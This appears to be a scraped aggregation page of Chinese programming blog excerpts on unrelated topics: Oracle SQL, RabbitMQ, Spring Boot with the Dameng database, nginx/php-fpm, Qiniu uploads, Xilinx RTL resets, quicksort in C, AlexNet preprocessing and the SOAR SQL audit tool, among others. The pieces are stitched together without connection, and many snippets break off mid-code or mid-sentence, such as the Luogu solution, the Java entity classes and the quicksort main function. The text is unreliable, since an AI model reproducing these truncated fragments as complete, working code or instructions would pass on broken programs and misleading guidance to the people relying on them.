oracle recs,Oracle SQL精妙SQL语句讲解(转)

Oracle SQL精妙SQL语句讲解[@more@]好东西,大家赶紧收藏吧~~~ --行列转换 行转列 DROP TABLE t_change_lc; CREATE TABLE t_change_lc (card_code VARCHAR2(3), q NUMBER, bal NUMBER); INSERT INTO t_change_lc SELECT '001' card_code, ROWNUM q, trunc(dbms_random.VALUE * 100) bal FROM dual CONNECT BY ROWNUM <= 4 UNION SELECT '002' card_code, ROWNUM q, trunc(dbms_random.VALUE * 100) bal FROM dual CONNECT BY ROWNUM <= 4; SELECT * FROM t_change_lc; SELECT a.card_code, SUM(decode(a.q, 1, a.bal, 0)) q1, SUM(decode(a.q, 2, a.bal, 0)) q2, SUM(decode(a.q, 3, a.

黑马RabbitMQ初级学习笔记

本文章根据b站黑马教育-rabbitMQ消息中间件视频总结所写,如有需求,请通过如下链接观看视频 2020黑马——消息中间件RabbitMQ 1、MQ的基本概念 1.1、MQ概述 MQ 全称Message Queue(消息队列),是在消息的传输过程中保存消息的容器。多用于分布式系统之间进行通信。 分布式系统子系统间两种通信方式 远程调用 通过第三方传递消息 小结: 1、MQ,消息队列,存储消息的中间件; 2、分布式系统通信两种方式:直接远程调用 和 借助第三方 完成间接通信 3、发送方成为生产者,接收方称为消费者 1.2、MQ的优势和劣势 优势: - 应用解耦 - 异步提速 - 削峰填谷 劣势: - 系统可用性降低 - 系统复杂度提高 - 一致性问题 1.3、MQ的优势 1、应用解耦 直接远程调用耦合度高 系统的耦合性越高,容错性就越低,可维护性就越低。 通过MQ实现解耦 使用MQ使得应用间解耦,提升容错性和可维护性。 2、异步提速 远程调用方式:同步方式 一个下单操作耗时:20+300+300+300 = 920ms 用户点击完下单按钮后,需要等待920ms才能得到下单响应,太慢! MQ方式通信:异步 用户点击完下单按钮后,只需等待25ms就能得到下单响应(20+5 = 25ms) 提升用户体验和系统吞吐量(单位时间内处理请求的数目)。 3、削峰填谷 远程调用 请求瞬间增多,导致A系统压力过大而宕机。 MQ传递 使用了MQ之后,限制消费小溪的速度为1000,这样一来,高峰期产生的数据势必会挤压在MQ中,高峰就被“削”掉了,但是因为消息积压,在高峰期过后的一段时间内,消费消息的速度还是会维持在1000,直到消费完积压的消息,这就叫做“填谷”。 使用MQ后,可以提高系统稳定性。 小结: 1、应用解耦:提高系统容错性和可维护性 2、异步提速:提升用户体验和系统吞吐量 3、削峰填谷:提高系统稳定性。 1.4、MQ的劣势 系统可用性降低 系统引入的外部依赖越多,系统稳定性越差。一旦MQ宕机,就会对业务造成影响。如何保证MQ的高可用? 系统复杂度提高 MQ的加入大大增加了系统的复杂度,以前系统间时同步的远程调用,现在是通过MQ异步调用。如何保证消息没有被重复消 费?怎样处理消息丢失情况?怎么保证消息传递的顺序性? 一致性问题 A系统处理完业务,通过MQ给B、C、D三个系统发消息数据,如果B系统、C系统处理成功,D系统处理失败。如何保证消息数据处理的一致性? 小结: 既然MQ有优势也有劣势,那么使用MQ需要满足什么条件呢?

idea运行start命令:error Expected linebreaks to be ‘LF‘ but found ‘CRLF‘ linebreak-style

报错的原因是项目代码做了eslint的规范检查: 规定了换行需要以unix系统的换行方式,Linux下只有换行LF,而在window下换行默认是CRLF, 在window系统下git pull项目的时候,git会默认将文件中的LF换行方式转为系统默认的CRLF换行格式,才会导致用idea打开时,所有的文件都是CRLF,这样代码提交后,会出现编译问题(服务端为linux系统) 这种差异是因为系统的不同而存在,具体差异: Windows系统下文本文件的换行符是: 回车+换行CR/LF即 \r\n或^M\n linux/unix系统下文本文件的换行符是:换行LF即 \n Mac OS系统下文本文件的换行符:回车CR即 \r或^M 解决方法一: 在eslintrc.js中修改配置,在rules对象最后添加: "linebreak-style": [0 ,"error", "windows"], 然后要重启项目。 解决方法二: 在终端执行 npm run lint:js -- --fix 命令,进行代码格式处理,然后重新启动项目即可。 若仍报错,可能是需要将 node_modules 里的 .cache 文件夹下的 .eslintcache 先删除,然后再执行上面那行命令。 解决方法三: 点击idea右下角这个地方,这个方法比较麻烦的是,每个文件都需要修改这个地方的设置。 在windows系统下改成LF

洛谷P1152 欢乐的跳进阶解法

#include<iostream> #include<algorithm> using namespace std; int n; long long a[1000], b[1000]; int main() { cin >> n; for (int i = 0; i < n; i++) cin >> a[i]; for (int i = 0; i < n - 1; i++) { b[i] = a[i + 1] - a[i]; if (b[i] < 0) b[i] = -b[i]; } sort(b, b + n - 1); for (int i = 1; i < n; i++) if (b[i - 1] !

oracle版本号升级,oracle版本升级:从11.2.0.1到11.2.0.3

oracle版本升级:从11.2.0.1到11.2.0.3 不过从11.2.0.2开始 都是全新install,并不升级原有的oracle_home目录,而是选择新的oracle_home进行安装,并升级。 standalone 升级asm: 1、下载补丁包, 2、安装grid 到新目录 选择第3项 upgrade (执行rootupgrade.sh 比较慢 半个小时多,还以为hung住了呢) 升级 db: 1、下载升级包(也就是11203的安装包) 其实也是调用dbua进行升级 结果:升级比较顺利,基本没有遇到阻碍。 out-of-place升级的优点是最大限度的降低风险。 升级线路图 1. Install 11.2.0.3.0 rdbms software See Note 1189783.1 Important Changes to Oracle Database Patch Sets Starting With 11.2.0.2 Beginning with the release 11.2.0.2 patch set, you have two ways to apply a patch set : - Out-of-place upgrade (Recommended) - In-place upgrade See Note 1276368.1 : Complete checklist for out-of-place manual upgrade from previous 11.

Java-二进制转换

Java-二进制转换 十进制转成二进制 //将十进制数转成字符串,例如n=5 ,s = "101" String s1 = Integer.toBinaryString(5); 将字符串转成整形 //只能是数字类的字符串 int a = Integer.valueOf("1002"); //或者 int b = Integer.parseInt("1002"); 将整形转成字符串 String s3 = String.valueOf(1025); 二进制字符串转十进制 int total = 0; String s5 = "1002"; char[] binCharArray = s5.toCharArray(); for (int i = 0; i < binCharArray.length; i++) { total = total + binCharArray[i] - 48; if (i != binCharArray.length - 1) { total = total << 1; } }

Spring Boot中使用mybatis访问达梦数据库详解

Spring Boot中使用mybatis访问达梦数据库详解 目录 Spring Boot中使用mybatis访问达梦数据库详解 前言 一、创建SpringBoot项目 二、代码编写 三、测试 总结 前言 武汉达梦数据库股份有限公司作为国产数据库的龙头企业,是国内鲜有掌握数据管理与数据分析领域的核心前沿技术,拥有全部源代码,具有完全自主知识产权的国产数据库厂商,在国内数据库份额越来越多,深扎传统领域的关键业务场景,我们来学习下如果使用mybatis访问达梦数据库进行基本的Druid操作。 一、创建SpringBoot项目 创建项目,按下图选项进行勾选: 点击next进入下一步,配置项目基本信息,如下图: 勾选项目所需要的的依赖坐标,如下图: 点击next,finish结束后开始初始化项目,第一次建立项目,需要下载很多包,请耐心等待一下。初始化完毕后,由于我们要使用的是达梦数据库,需要我们自己增加达梦的jdbc驱动依赖,在maven的本地仓库中添加驱动包,驱动包在达梦的安装目录里有,可自行挪移,打开项目中的pom.xml文件,增加依赖坐标,如下图: 修改application.properties文件为application.yml文件,添加项目端口和jdbc链接相关信息,同时增加mybatis的配置项,如下图: 二、代码编写 在启动类同级目录下创建entity,service,serviceImpl,dao,controller文件夹,resources文件夹下建立mapper文件夹,用来存放sql语句的xml文件在此目录下如下图: 在entity文件夹下创建Plan实体类 package com.dm.jdbcdemo.entity; public class Plan { private String id; private String gznr; private String tdfw; private String czlx; public String getId() { return id; } public void setId(String id) { this.id = id; } public String getGznr() { return gznr; } public void setGznr(String gznr) { this.gznr = gznr; } public String getTdfw() { return tdfw; } public void setTdfw(String tdfw) { this.

nginx和php连接的2种方式,Nginx 中 fastcgi_pass 监听端口有2种方式(转发给php的2种方式): unix socket和tcp socket差异...

Nginx链接fastcgi的方式有2种: unix domain socket和TCP,Unix domain socket 或者 IPC socket是一种终端,能够使同一台操做系统上的两个或多个进程进行数据通讯。与管道相比,Unix domain sockets 既能够使用字节流和数据队列,而管道通讯则只能经过字节流。Unix domain sockets的接口和Internet socket很像,但它不使用网络底层协议来通讯。Unix domain socket 的功能是POSIX操做系统里的一种组件。php TCP和unix domain socket方式对比 TCP是使用TCP端口链接127.0.0.1:9000html Socket是使用unix domain socket链接套接字/dev/shm/php-cgi.sock(不少教程使用路径/tmp,而路径/dev/shm是个tmpfs,速度比磁盘快得多。我这里用的是/tmp,用/dev/shm的请看原文)linux fastcgi_pass unix:/tmp/php-cgi.sock fastcgi_pass 127.0.0.1:9000 在服务器压力不大的状况下,tcp和socket差异不大,但在压力比较满的时候,用套接字方式,效果确实比较好。nginx 下面是php 5.3以上版本将TCP改为socket方式的配置方法:服务器 修改php-fpm.conf(/usr/local/php/etc/php-fpm.conf)网络 注意:注释掉是用;我这里是写 中文注释习惯了,前面加个#,也就是你用的话,要给#及后面的去掉dom [global] pid = /usr/local/php/var/run/php-fpm.pid error_log = /usr/local/php/var/log/php-fpm.log log_level = notice [www] ;listen = 127.0.0.1:9000 #默认是tcp listen = /tmp/php-cgi.sock #修改为socket listen.backlog = -1 listen.allowed_clients = 127.0.0.1 listen.owner = www listen.group = www listen.mode = 0666

Spring Boot中使用JdbcTemplate访问达梦数据库详解

Spring Boot中使用JdbcTemplate访问达梦数据库详解 前言 武汉达梦数据库股份有限公司作为国产数据库的龙头企业,是国内鲜有掌握数据管理与数据分析领域的核心前沿技术,拥有全部源代码,具有完全自主知识产权的国产数据库厂商,在国内数据库份额越来越多,深扎传统领域的关键业务场景,我们来学习下如果使用jdbcTemplate访问达梦数据库进行基本的Druid操作。 一、创建SpringBoot项目 创建项目,按下图选项进行勾选: 点击next进入下一步,配置项目基本信息,如下图: 勾选项目所需要的的依赖坐标,如下图: 点击next,finish结束后开始初始化项目,第一次建立项目,需要下载很多包,请耐心等待一下。初始化完毕后,由于我们要使用的是达梦数据库,需要我们自己增加达梦的jdbc驱动依赖,在maven的本地仓库中添加驱动包,驱动包在达梦的安装目录里有,可自行挪移,打开项目中的pom.xml文件,增加依赖坐标,如下图: 修改application.properties文件为application.yml文件,添加项目端口和jdbc链接相关信息,如下图: 二、代码编写 在启动类同级目录下创建entity,service,serviceImpl,dao,controller文件夹,如下图: 在entity文件夹下创建Plan实体类 package com.dm.jdbcdemo.entity; public class Plan { private String id; private String gznr; private String tdfw; private String czlx; public String getId() { return id; } public void setId(String id) { this.id = id; } public String getGznr() { return gznr; } public void setGznr(String gznr) { this.gznr = gznr; } public String getTdfw() { return tdfw; } public void setTdfw(String tdfw) { this.

2021-04-05

JAVA 数据类型判断 typeof 可以正确识别:Undefined、Boolean、Number、String、Symbol、Function 等类型的数据,但是对于其他的都会认为是 object,比如 Null、Date 等,所以通过 typeof 来判断数据类型会不准确。但是可以使用 Object.prototype.toString 实现 function typeOf(obj) { let res = Object.prototype.toString.call(obj).split(’ ')[1] res = res.substring(0, res.length - 1).toLowerCase() return res } typeOf([]) // ‘array’ typeOf({}) // ‘object’ typeOf(new Date) // ‘date’ 继承 原型链继承 function Animal() { this.colors = [‘black’, ‘white’] } Animal.prototype.getColor = function() { return this.colors } function Dog() {} Dog.prototype = new Animal() let dog1 = new Dog() dog1.colors.push(‘brown’)

学习笔记_记一次植物大战僵尸的破解

学习笔记_记一次植物大战僵尸的破解 1、学习目标2、学习工具3、开始操作3.1 理清思路3.2 开始操作 4、总结 1、学习目标 了解二进制、十六进制对于计算机的意义掌握二/八/十/十二/十六等多种数据进制间的转换掌握如何在Windows中修改并保存二进制文件 2、学习工具 植物大战僵尸 提取码:eo2tHex Editor Neo(二进制、十六进制文件编辑查看器) 提取码:ayyh 这两个软件都是免安装的,下载完后解压缩就可以直接用。 3、开始操作 3.1 理清思路 首先,植物大战僵尸是一个单机游戏,那它的存档必然是保存在本地,具体路径在网上搜一下就知道,是保存在 C:\ProgramData\PopCap Games\PlantsVsZombies\userdata 下,其中 ProgramData 这个文件夹应该默认是隐藏的,需要勾选上显示隐藏的项目才可以看到= 找到了本地存档就好办了,接下来就轮到 Hex Editor Neo 出场了。 3.2 开始操作 先打开游戏,创建一个用户,然后进入到存档文件夹中,发现有一个 users.dat 文件,我们用 Hex Editor Neo 工具打开这个文件,打开后如图: 啥呀这是,一行不知道干嘛用的数字。。。 诶?突然发现在右边有我创建的用户名字 Test,每个字母分别对应左边的 54 65 73 74。 突然想到一个熟悉的小玩意:ASCII码,但我再一看这也对不上呀。 难道这就是用这次要学习的内容 十六进制 保存的?我赶紧找出我家祖传的算盘开始换算~这里使用乘权求合法 皇天不负有心人,终于算出来了,十六进制 54 65 73 74 --转换成十进制–>84 101 115 116,这不正是 Test 的 ASCII 码值吗,暂时看来这个文件保存的是用户的信息。 哈哈,有点头绪了,不要急,我们再去玩几局看看。 。 。 。 通过了第一关,发现在存档文件夹中多了一个 user1.dat 文件,还是用工具打开,如图 其实下面还有很长一条,全是00,为了不浪费篇幅,这里就截了这么多。

简单Python函数将SCI论文中WORD版参考文献改为LaTeX格式

投出的某sci论文被reviewer指出公式的format不大行,其实自己之前在用word调的时候也发现了这个问题,于是打算改头换面,使用latex来重新写一遍。而LaTeX的引用格式和word是不一样的(至少调格式的方式不同),bibtex是很常用的一种方式了,但是出于某些原因十分赶时间,对文中五十余篇论文去重新找各自的bibtex格式,然后再挨个照着之前word版补充一些东西,实在太费时间。那么如何“废物利用”呢,即将原来的word版的已经写好的内容直接copy过来呢? word版的内容拿过来自然没问题,但是格式就得调,而一个个调格式显然也是效率很低的行为,因而考虑使用python写个程序进行自动化操作。 首先,不建议大家使用这种方法。这是因为一我挺赶时间的,二是之前word版已经写好了,参考文献基本上不会再改动。更建议使用bibtex。 其次,同样由于这只是临时使用的简单脚本且赶时间,就没有去认真设计变量名,代码可读性不强,不过不大长应该不影响理解叭。将就看看。 最后,在介绍函数使用方法之前,需要提醒一下,下面代码考虑的情况并不完整,因此使用其生成latex版参考文献后仍需要人工验证一遍其格式是否正确(虽然不是100%正确但是也省了很多重复劳动了)。 示例输入: t = '[1] B. Ji, Y. Han, P. Li, et al., “Research on secure transmission performance of electric vehicles under Nakagamim channel,” IEEE Trans. Intell. Transp. Syst., pp 1-11, Nov. 2020.' get_output(0, t) 输出为: \bibitem{[1]} B. Ji, Y. Han, P. Li, \emph{et al}., ``Research on secure transmission performance of electric vehicles under Nakagamim channel,"\emph{ IEEE Trans. Intell. Transp. Syst.}, pp 1-11, Nov. 2020. 作用为:

spring 之配置类

spring通过ioc容器管理bean,bean的配置信息可由xml文件, 也可以由注解来表示。通常注解表示更简洁方便,但是注解只能加注在自定义的类上,对应第三方的类,spring提供了@Bean注解来实现对象注入。@Component , @Repository , @ Controller , @Service 这些注解只局限于自己编写的类,而@Bean注解能把第三方库中的类实例加入IOC容器中并交给spring管理。 //使用@PropertySource读取外部配置文件中的k/v保存到运行的环境变量中;加载完外部的配置文件以后使用${}取出配置文件的值 @PropertySource(value={"classpath:/person.properties"}) @Configuration public class MainConfigOfPropertyValues { @Bean public Person person(){ return new Person(); } } 上述代码通过person()方法(加了@Bean注解)往容器注入Person的实例。person实例的属性值怎么设置呢?在定义Person类时,通过注解@Value来赋值: public class Person { @Value("${person.name}") private String name; @Value("${person.age}") private Integer age; } 使用@Value赋值,可以是: 1、基本数值 2、可以写SpEL; #{} 3、可以写${};取出配置文件【properties】中的值(在运行环境变量里面的值) 如果采用方式3,在@Bean注解前,用注解@PropertySource读取外部配置文件中的k/v保存到运行的环境变量中;加载完外部的配置文件以后使用${}取出配置文件的值

利用七牛云SDK实现文件的简单上传和下载

首先要添加七牛云的依赖: 代码如下: import com.google.gson.Gson; import com.qiniu.common.QiniuException; import com.qiniu.http.Response; import com.qiniu.storage.Configuration; import com.qiniu.storage.Region; import com.qiniu.storage.UploadManager; import com.qiniu.storage.model.DefaultPutRet; import com.qiniu.util.Auth; import lombok.extern.slf4j.Slf4j; import okhttp3.OkHttpClient; import okhttp3.Request; import okhttp3.ResponseBody; import org.apache.commons.io.IOUtils; import java.io.*; import java.net.URLEncoder; /** * @ProjectName: app-download * @Package: com.dongfeng.aliap * @ClassName: QiNiuOSSUtils * @Author: zhy * @Description: 七牛云存储 * @Date: 2020/11/20 12:42 * @Version: 1.0 */ @Slf4j public class QiNiuOSSUtils { private static final String ACCESS_KEY = "你的AK"; private static final String SECRET_KEY = "

Xilinx RTL编码指南(一)

Xilinx RTL编码指南一 控制信号与控制集Reset使用复位的时间和位置同步复位与异步复位复位编码实例 1:乘法器与异步复位异步复位RTLsynthesis 同步复位RTLsynthesis 尝试消除HDL代码复位时出现问题 时钟使能创建时钟使能复位和时钟使能的先后使用综合属性控制使能/重置提取DIRECT_ENABLEDIRECT_RESET 将逻辑从控制引脚推到数据引脚 信号控制技巧 该一系列为学习ug949-vivado-design-methodology.pdf的记录,该文档包含了对Xilinx器件最佳实践的方法学。 控制信号与控制集 ​ 控制集指用于驱动任何给定 SRL、 LUTRAM 或寄存器的控制信号组 (置位/复位、时钟使能和时钟)。对任意控制信号的独特组合,都能构成独立控制集。背后的原因是一个重要的概念,即在 7 系列 slice 中的寄存器都共享相同的控制信号,因此只有使用相同控制集的寄存器才能打包到同一个 slice 中。不同slice可以有不同的控制信号。例如,如果具有给定控制集的寄存器仅具有一个寄存器作为加载,则被占据的片中的其他七个寄存器将不可用。(在wp 405-7 series FPGAS The Logical Advantage里面说明了确实是这样) ​ 同时拥有多个独立控制集的设计会造成大量资源浪费和布局选项数量减少,导致功耗上升,性能下降。从布局的角度而言,拥有较少数量控制集的设计能提供更多选项和更高灵活性,一般也能产生更加理想的结果。在 UltraScale™ 器件中,在 CLB 内部能灵活地实现控制集的映射。未驱动的复位不形成控制集的一部分,因为是在片内局部生成的。然而,限制独立控制集数目是为一组逻辑布局提供最大灵活性的一个好方法。 Reset 复位是需要在设计中考虑和设限的更常见也更重要的控制信号之一。复位会给用户设计的性能、占位面积和功耗产生显著影响。 经引用得到的同步代码会产生下列资源: LUT寄存器移位寄存器 LUT(SRL)块存储器或 LUT 存储器DSP48 寄存器 复位的选择和使用会影响上述组件的选择,导致给定设计中资源利用率下降。如果在阵列上误置复位,会产生截然不同的结果,可能是推断出一个块 RAM,也可能是推断出数千个寄存器。在乘法器输入或输出处描述异步复位,可能造成寄存器布置在 slice 上而非 DSP 块上。在此类情况以及在其它情况下,会给资源数量造成影响。总体功耗和性能也会受到显著影响。在大多数情况下,这会影响性能。它还对器件利用率和功耗有负面影响。 使用复位的时间和位置 赛灵思器件提供专用的全局置位/复位信号 (GSR)。在器件配置结束时,该信号将器件配置中所有顺序单元的初始值。如果未指定初始状态,则为顺序原语分配默认值。在大多数情况下,默认值为零。 FDSE 和 FDPE 原语是例外,默认为逻辑 1。每个寄存器在配置结束时将处于已知状态。因此没有必要单独为初始化加电器件编写全局复位代码。赛灵思强烈建议用户仔细判断设计何时需要复位,何时不需要复位。大多数情况下,在控制路径逻辑上可能需要复位以确保正常运行。然而在数据路径逻辑上通常不需要复位。限制复位使用的方法如下: 限制复位网络的总体扇出。 减少复位路由所需的互联数量。 简化复位路径的时序。 从而在许多情况下能够从整体上提升性能、缩小占位面积和降低功耗。 使用功能仿真应能够轻松地判断是否需要复位。对没有编码复位功能的逻辑,在选择用于映射逻辑的 FPGA 资源方面具有更高的灵活性。综合工具随后能为该代码选择最优资源,为了实现可能的最佳结果,应考虑到以下因素,如: 要求的功能性能要求可用器件资源功耗 同步复位与异步复位 如果需要复位,赛灵思建议代码同步复位。与异步复位相比,同步复位拥有众多优势。 同步复位可以直接映射到 FPGA 器件架构中的更多资源元件。

GitBash中文乱码解决

GitBash中文乱码解决 window使用命令行就是各种坑,特别是中文乱码非常常见 icehill@LAPTOP-NOEK2LVK MINGW64 /d/code/gitbook-notes (master) $ git status On branch master Your branch is up to date with 'origin/master'. Changes to be committed: (use "git reset HEAD <file>..." to unstage) new file: "\351\235\242\350\257\225\351\242\230\347\233\256/leadCodeSolution/num2-\344\270\244\346\225\260\347\233\270\345\212\240\357\274\210\351\223\276\350\241\250\357\274\211.md" new file: "\351\235\242\350\257\225\351\242\230\347\233\256/leadCodeSolution/num3-\346\227\240\351\207\215\345\244\215\345\255\227\347\254\246\347\232\204\346\234\200\351\225\277\345\255\220\344\270\262.md" modified: "\351\235\242\350\257\225\351\242\230\347\233\256/\345\270\270\350\247\201\347\256\227\346\263\225\351\242\230.md" modified: "\351\235\242\350\257\225\351\242\230\347\233\256/\351\235\242\350\257\225\351\242\230\347\233\2564.md" 解决办法 点击左上角gitbash终端图标,然后点选项=>文本=>设置locale本地字符集,选utf-8或者GBK,这个设置了,应该在终端执行命令例如:ls就不会乱码了,但是如果git status还是乱码,可以尝试以下命令 $ git config --global core.quotepath false 效果 $ git status On branch master Your branch is up to date with 'origin/master'. Changes to be committed: (use "

使用Alexnet模型识别猫和狗

一、测试平台 python:3.6.5 tensorflow:1.6.0 keras:2.1.5 二、前期准备 1、数据收集:本例收集了25000张小猫、小狗的图片,二者各占一半,当然,训练集数据多多益善; 2、数据集预处理: ①猫和狗的图片分别重命名,命名格式为:“cat.number”/“dog.number”,其中number=1,2,3,4……n。文件重命名这一块如果有问题请参考:图片批量重命名; ②将猫和狗的图片放在文件夹:“./data/image/pre_train/”这个文件夹下,并在同一目录创建文件夹train(“./data/image/train/”); ③将预训练的数据集中的图片resize成需要的大小(本例中Alexnet模型input的图片大小为(-1,224,224,3)),所以我们将pre_train文件夹下的图片resize成(224,224),并存储在train文件夹下;这一步如果有疑问,请参考文章:resize训练集图片大小并存储的方法 ④在data文件夹下新建空的dataset.txt文件,根据train文件夹中已训练好的数据集制作label,格式为"cat.number.jpg;0"/“dog.number.jpg;1” ③、④步代码块如下: #coding=utf-8 [1] ''' 对收集到的数据进行预处理,以减小训练时间; 1、我们将搜集到的图片存放在与软件脚本同一根目录下的'./data/image/pre_train/'文件夹下; 2、我们使用Image模块从pre_train文件夹读取图片,resize,并存储入'./data/image/train/'文件夹; ''' from PIL import Image import os src_path = './data/image/pre_train/' dst_path = './data/image/train/' filelist=os.listdir(src_path) for img in filelist: image=Image.open(src_path+img) image_resize=image.resize((224,224),resample=2) ''' # image.resize(size,resample=0) #sesam用于表示改变图像过程中的插值方法,0:双线性插值;1:最邻近插值;2:双三次插值;3|面积插值法 # 参考:python: PIL的Image.resize()函数: ''' image_resize.save(dst_path+img) [2] ''' 生成标签label ''' import os photos=os.listdir('./data/image/train/') #os.listdir:用于返回一个由文件名和目录组成的列表 with open('./data/dataset.txt','w') as f: for photo in photos: name=photo.split('.')[0] if name=='cat': f.write(photo+';0\n') #\n:换行 elif name=='dog': f.

交换排序算法之快速排序-C语言版(带图详细)

文章目录 前言一、什么是快速排序?二、算法思想三、实例讲解四、算法分析1.时间复杂度2.空间复杂度 五、代码实现六、运行结果总结 前言 哈喽,大家好,我最近在复习数据结构中的排序算法章节,今天复习到了交换排序算法中的快速排序算法,所以给大家分享一下。 一、什么是快速排序? 快速排序算法是在几种排序算法中效率最高的一个排序算法了,故称为快速排序,它的时间复杂度为:O(nlog2n),相比冒泡排序算法的O(n2)有很大的提升。 二、算法思想 1、选取一个基准元素(一般我们将待排序序列中的第一个元素选取为基准元素) 2、将其他元素与基准元素进行比较,比基准元素大的放到基准元素的右边,比基准元素小的放到基准元素的右边。(以基准元素为中心将元素重新分成两个序列,并返回基准元素的下标) 3、将新生成的两个序列继续执行1和2两步(此处可以用递归实现) 接下来我们通过一个动图来看一下快速排序算法。 三、实例讲解 我们有一个待排序序列是:【 44, 38, 5, 47, 15, 36, 26, 27, 2, 46, 4, 19, 50, 48】 第一轮排序: ①选取第一个元素44为基准坐标。 ②以44为中心,将序列分为两部分,左边比44小,右边比44大。 ③原来的序列被分成两部分,一部分比44小的是【0,基准坐标-1】,另一部分比44大的是【基准坐标+1,最后】,将这两部分继续执行①和②两步最终即可排序完成。 第一轮排序总结: 算法思想其实不难理解,那么接下来需要解决的问题就是,如何将一个序列以基准坐标分成相对有序的两部分,以及递归出口问题。 四、算法分析 1.时间复杂度 O(nlog2n) 2.空间复杂度 空间复杂度由于需要开辟一个临时空间来存储基准坐标所以是:O(1) 五、代码实现 #include<stdio.h> void Print(int array[],int len){ for(int i=0;i<len;i++){ printf("%d ",array[i]); } printf("\n"); } /*获取基准坐标,并相对有序(左边比基准坐标小,右边比基准坐标大)*/ int getStandard(int array[],int low,int high) { int key = array[low]; //临时保存基准元素 while(low<high) { //high指针从后向前遍历 , 元素比基准元素大则指针向前移动 则比基准元素小则和基准元素交换 while(low<high && array[high]>=key){ high--; } if(low<high){ array[low] = array[high]; //赋值给第一个元素,因为第一个元素作为基准元素已经临时保存了,所可以直接赋值 } //low指针从前向后遍历 , 元素比基准元素小则指针向后移动 否则比基准元素大则和基准元素交换 while(low<high && array[low]<=key){ low++; } if(low<high){ array[high] = array[low]; //复制给high指针所指得位置,因为在11行已经赋值给array[low]了 } } array[low] = key; return low; } void QuickSort(int array[],int low,int high){ if(low<high){ //递归出口 int standard = getStandard(array,low,high); QuickSort(array,low,standard-1); //比基准元素小的部分继续调用快速排序 QuickSort(array,standard+1,high); //比基准元素大的部分继续调用快速排序 } } int main(){ int array[] = {3, 44, 38, 5, 47, 15, 36}; int size = sizeof(array) / sizeof(int); printf("

LIKE运算符

LIKE是模糊匹配运算符,用于指定一个字符串是否与指定的字符串相匹配。 语法: 【NOT】 LIKE '匹配字符串' 【ESCAPE '<转换字符>'】 其中,方括号中的内容是可选的,例如,如果LIKE关键字前面有NOT关键字,表示该条件取反。ESCAPE子句用于指定转义字符。匹配字符串可以是一个完整的字符串,也可以包含通配符%、_、 []、[^] LIKE子句中的通配符 通配符含义%代表任意长度(长度可以为0)的字符串_代表任意单个字符[]指定范围或集合中的任意单个字符[^]不在指定范围或集合中的任意单个字符 需要强调的是,带有通配符的字符串必须使用单引号引起来。 示例: LIKE 'AB%' 返回以AB开始的任意字符串LIKE '%ABC' 返回以ABC结束的任意字符串LIKE '%ABC%' 返回包含ABC的任意字符串LIKE '_AB' 返回以AB结束的3个字符的字符串LIKE '[ACE]%' 返回以A、C、E开始的任意字符串LIKE 'L[^a]%' 返回以L开始、第2个字符不是a的任意字符串

oracle sqla工具,Oracle SQL自动化审核工具的实现

作者介绍 梁铭图,新炬网络首席架构师,十多年数据库运维、数据库设计、数据治理以及系统规划建设经验,拥有Oracle OCM、Togaf企业架构师(鉴定级)、IBM CATE等认证,曾获dbaplus年度MVP以及华为云MVP等荣誉,并参与数据资产管理国家标准的编写工作。在数据库运维管理和架构设计、运维体系规划、数据资产管理方面有深入研究。 一、背景 我们客户现场的Oracle运维团队需要对开发团队提交上来的Oracle数据库SQL脚本进行评审。众所周知,这个活儿看起来高大上,实际上单靠人工检查的话,耗时费事、效率低下且机械重复,是很难长期实施的。 根据SRE以软件工程方法解决运维问题的逻辑,我们当然需要使用自动化的工具来解决这个问题。 二、自动化审查 首先,Oracle运维团队将SQL评审经验总结为上百个评审规则,例如: 所有新建对象的SQL都需要在对象名的前面加上用户名; 创建SEQUENCE的SQL语句,需要指定CACHE值不小于200; delete和update等DML语句,必须带where条件; …… 用这些评审规则去审核一个个SQL,仍然是非常苦逼的活儿,我们需要一个自动化的工具来实现。为了不重复制造轮子,最好的方法当然是找一个开源的工具进行二次开发,经过团队讨论和反复验证后,最终采用了开源的SOAR进行二次开发实现。 SOAR工具原来是基于MySQL数据库进行开发的,可客户现场SQL检查是基于Oracle的SQL脚本。尽管Oracle和MySQL在语法上有明显的差别,但上述的分析框架和逻辑是可以重用的,我们主要是通过屏蔽SOAR自带的SQL检查规则,通过添加自定义规则实现。 1、SOAR组成 SOAR,即SQL Optimizer And Rewriter,是一款SQL智能优化与改写工具,由小米运维DBA团队出品。SOAR主要由语法解析器、集成环境、优化建议、重写逻辑、工具集五大模块组成。 2、与其他工具对比 3、功能特性 跨平台支持(支持Linux、Mac环境,Windows环境理论上也支持,不过未全面测试); 支持基于启发式算法的语句优化; 支持复杂查询的多列索引优化(UPDATE, INSERT, DELETE, SELECT); 支持EXPLAIN信息丰富解读; 支持SQL指纹、压缩和美化; 支持同一张表多条ALTER请求合并; 支持自定义规则的SQL改写。 三、工具框架安装 操作系统版本:CentOS 7.2。 1、安装Go环境 这里使用二进制包来安装,下载二进制安装包: $ wget https://dl.google.com/go/go1.10.2.linux-amd64.tar.gz $ tar zxvf go1.10.2.linux-amd64.tar.gz 配置环境变量: #go的安装目录 export GOROOT=解压的go的目录 export GOPATH=解压的go的目录 export PATH=$PATH:$GOROOT/bin 查看Go版本: 2、安装Git客户端 使用具有安装权限的用户执行以下命令: $ yum -y install git 查看Git客户端版本: 3、下载SOAR源码并编译 新建workspace目录: $ mkdir workspace $ cd workspace

DMETL工具之安装

简介 达梦数据交换平台软件[简称:DMETL] V4.0,是一个具备数据抽取(Extract)、清洗转换(Transform)和装载(Load)功能的通用的数据处理平台。DMETL V4.0在传统ETL工具的基础上,集成了数据同步、数据交换、数据整合功能,能够为基于数据集成的应用和日常的数据清洗转换工作提供了完整的支持。 DMETL V4.0 内建了对各种数据库、消息服务器、文本文件、 XML、 Excel 文件、WebService、 LDAP 等各种常见数据源的支持,并提供可视化的支持拖拽的流程设计器,可以大幅度提高工作效率。 下载 达梦数据库官网-个人中心-下载中心 注册个人账号然后登陆,进入“个人中心” - ”下载中心” 选在“DMETL开发版”,下载相应平台安装包和patch即可。 安装 在 Linux 或 Windows 平台下,运行安装文件就可以开始达梦数据交换平台的安装。默认启动图形界面的安装向导,在 Linux 平台下运行安装文件时添加参数 -i 可以启动字符界面安装达梦数据交换平台。 ​ 本次采用图形界面安装: ![image-20210329153446295](C:\Users\Dell\AppData\Roaming\Typora\typora-user-images\image-20210329153446295.png 服务启动与关闭 达梦数据交换平台可以通过命令行的形式或者以系统服务的形式两种方式来启动和停止服务器。 server 目录下一些批处理文件功能介绍如下: dmetl_start.bat:以命令行的方式启动达梦数据交换平台服务器; dmetl_stop.bat:通知达梦数据交换平台服务器停止执行; dmetl_service_start.bat:启动达梦数据交换平台操作系统服务; 